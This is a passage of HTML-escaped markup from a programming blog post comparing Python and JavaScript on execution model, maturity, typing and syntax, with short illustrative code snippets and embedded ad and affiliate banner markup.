&lt;td&gt;+1 million on npm (more variety but redundant packages)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Browser Support&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Not natively supported&lt;/td&gt;&#xA;          &lt;td&gt;Native execution in browsers&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Runtime Environment&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Pre-installed on Linux&lt;/td&gt;&#xA;          &lt;td&gt;Node.js for non-browser execution&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;which-to-choose&#34;&gt;Which to Choose?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;I&amp;rsquo;d recommend to choose JavaScript if&lt;/strong&gt;:&lt;br&gt;&#xA;✔ You are into web development, backend or frontend, it doesn&amp;rsquo;t matter.&lt;br&gt;&#xA;✔ You prefer faster execution speed but not as fast as a compiled language..&lt;br&gt;&#xA;✔ You need a massive library ecosystem (npm).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;I&amp;rsquo;d recommend to choose Python if&lt;/strong&gt;:&lt;br&gt;&#xA;✔ You’re into Machine Learning, AI, or data analysis.&lt;br&gt;&#xA;✔ You prefer readable syntax and maintainable code.&lt;br&gt;&#xA;✔ You want a well designed (sorry Javascript) mature language with a colossal standard library.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;python-vs-javascript-introduction-and-main-differences&#34;&gt;Python vs Javascript, introduction and main differences&lt;/h2&gt;&#xA;&lt;p&gt;To begin with, &lt;strong&gt;Python is an interpreted language&lt;/strong&gt;. If you are not familiar with the term, it means that it has an interpreter that translates the instructions, one by one, to machine language, so that they are executed on the fly. So you don&amp;rsquo;t have to compile all your code every time you want to run it, as you would with C++, Java, Rust, etc.&lt;/p&gt;&#xA;&lt;p&gt;Javascript was born as an interpreted language, however modern engines have managed to turn it into a &lt;strong&gt;JIT (Just in Time) compiled language&lt;/strong&gt;. Virtually all browsers do &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=d7KHAVaX_Rs&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;JIT compiled&lt;/a&gt;&#xA; JavaScript, except, as always, IE8. Although I don&amp;rsquo;t like some aspects of the language, like the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/&#34;&gt;management of dates&lt;/a&gt;&#xA;, I don&amp;rsquo;t think it&amp;rsquo;s the worst or the least useful language out there.&lt;/p&gt;&#xA;&lt;p&gt;If you want to learn how the Javascript engine works at a deeper level, I leave you a link to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=No-Pfboplxo&amp;amp;amp;list=PLfeFnTZNTVDNnF4a8eVooiubYAPUSP01C&amp;amp;amp;index=1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;a series of videos&lt;/a&gt;&#xA; on youtube where the topic is discussed in more detail.&lt;/p&gt;&#xA;&lt;p&gt;Look at this super-simplified schematic comparing compiled and interpreted languages.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/codigo-compilado-vs-interpretado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/codigo-compilado-vs-interpretado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Super simplified diagram of the differences between compiled and interpreted code&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Differences between an interpreted and a compiled language&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In this scheme I am referring to Javascript at the time of its creation, as an interpreted language, not to the &lt;strong&gt;JIT compilation&lt;/strong&gt; I was telling you about.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;which-language-is-more-mature-python-vs-javascript&#34;&gt;Which language is more mature, Python vs javascript?&lt;/h2&gt;&#xA;&lt;p&gt;Python appeared in the late 1980s, while Javascript appeared in the early 1990s, so &lt;strong&gt;Python is older&lt;/strong&gt; than Javascript.&lt;/p&gt;&#xA;&lt;h3 id=&#34;javascript-is-a-poorly-designed-language&#34;&gt;Javascript is a poorly designed language&lt;/h3&gt;&#xA;&lt;p&gt;If you review the history of Javascript you will see that it was developed in record time, which is noticeable in the basics of the language, where we find logical inconsistencies and one thing or another unintuitive. Unfortunately this has no solution, Javascript&amp;rsquo;s foundations can not be repaired  because any change in the basis of the language would break the web completely.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;This may not necessarily affect the developers or the end user, but it is noticeable at times and serves as a source of inspiration for multiple memes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;typing-characteristics&#34;&gt;Typing characteristics&lt;/h2&gt;&#xA;&lt;p&gt;Regarding typing, it is a convoluted issue where I have not found a &lt;strong&gt;clear and uniform consensus&lt;/strong&gt; on what is considered strong typing and what weak typing. However experts tend to say that strongly typed languages do not allow changes to data types once declared, while weakly typed ones do.&lt;/p&gt;&#xA;&lt;p&gt;Here are a couple of examples for your consideration&lt;/p&gt;&#xA;&lt;h3 id=&#34;javascript-typing&#34;&gt;Javascript typing&lt;/h3&gt;&#xA;&lt;p&gt;First let&amp;rsquo;s see what happens if we try to change a type in Javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//javascript&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; stringNumber &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stringNumber &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// no pasa nada&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uncaught TypeError&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Assignment to constant variable.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to const, Javascript allows to declare a variable, let or var. If instead of using const we would have used var or let the error would not occur.&lt;/p&gt;&#xA;&lt;p&gt;But now look what happens if we add an integer and a string.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//javascript&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;11&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No problem! The Javascript interpreter adds them together without any problem, even if one is a string and the other an integer.&lt;/p&gt;&#xA;&lt;p&gt;If you are one of those who prefer to use strong typing with javascript, either because you bring a background of C++, Java or another strongly typed language or simply prefer the advantages of strong typing, take a look at what &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.typescriptlang.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Typescript&lt;/a&gt;&#xA; and its compiler have to offer. Which I really encourage you to do. I consider Typescript far superior to Javascript and less error prone.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Typescript code&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Observe how every type of variable requires its corresponding type&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; idUser&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; number &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; string;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; months&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Array&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;string&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;January&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;February&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;typing-in-python&#34;&gt;Typing in Python&lt;/h3&gt;&#xA;&lt;p&gt;Python does not necessarily require you to specify the type of variable. See what happens if we try to change the type of a variable in Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;} &lt;span style=&#34;color:#78787e&#34;&gt;# no error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And what happens if we now try to add two variables of different types as we did in Javascript?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback (most recent call last):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;module&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TypeError: unsupported operand &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;(s) &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;int&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;str&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, Python does not allow you to perform implicit transformations of&#xA;one type of variable to another.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;titleToNumber&lt;/span&gt;(columnTitle: &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;python-typing&#34;&gt;Python Typing&lt;/h4&gt;&#xA;&lt;p&gt;What about Typescript for Python? Well, it is already included, Python incorporates optional typing, starting with version 3.5, typing can be used by some linters to show you errors in the code, however the interpreter does not force its use. Check the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/typing.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation&lt;/a&gt;&#xA; to learn how to use them.&lt;/p&gt;&#xA;&lt;p&gt;Or install tools like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pyrefly.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pyrefly&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/astral-sh/ruff&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Ruff&lt;/a&gt;&#xA;, which can improve your development experience.&lt;/p&gt;&#xA;&lt;h2 id=&#34;is-javascript-easier-to-learn-than-python&#34;&gt;Is javascript easier to learn than python&lt;/h2&gt;&#xA;&lt;h3 id=&#34;javascript-syntax&#34;&gt;Javascript syntax&lt;/h3&gt;&#xA;&lt;p&gt;The syntax of &lt;strong&gt;Javascript is quite similar to that of C++ and other classical programming languages. Separation between parts of the code is done by braces and semicolons&lt;/strong&gt;. Javascript uses &lt;em&gt;this&lt;/em&gt; as a reference to the object itself and they are not required when declaring methods on objects.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;d say that learning Javascript is harder than learning Python as your first programming language.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;){&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;result&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;colon at the end&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; MyClass {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  constructor(property) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;this&lt;/span&gt;.property &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; property;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(arguments, default_argument&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; myFirstArgument &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; arguments[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; myFirstArgument&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  functionThatCausesError();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;catch&lt;/span&gt;(error){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  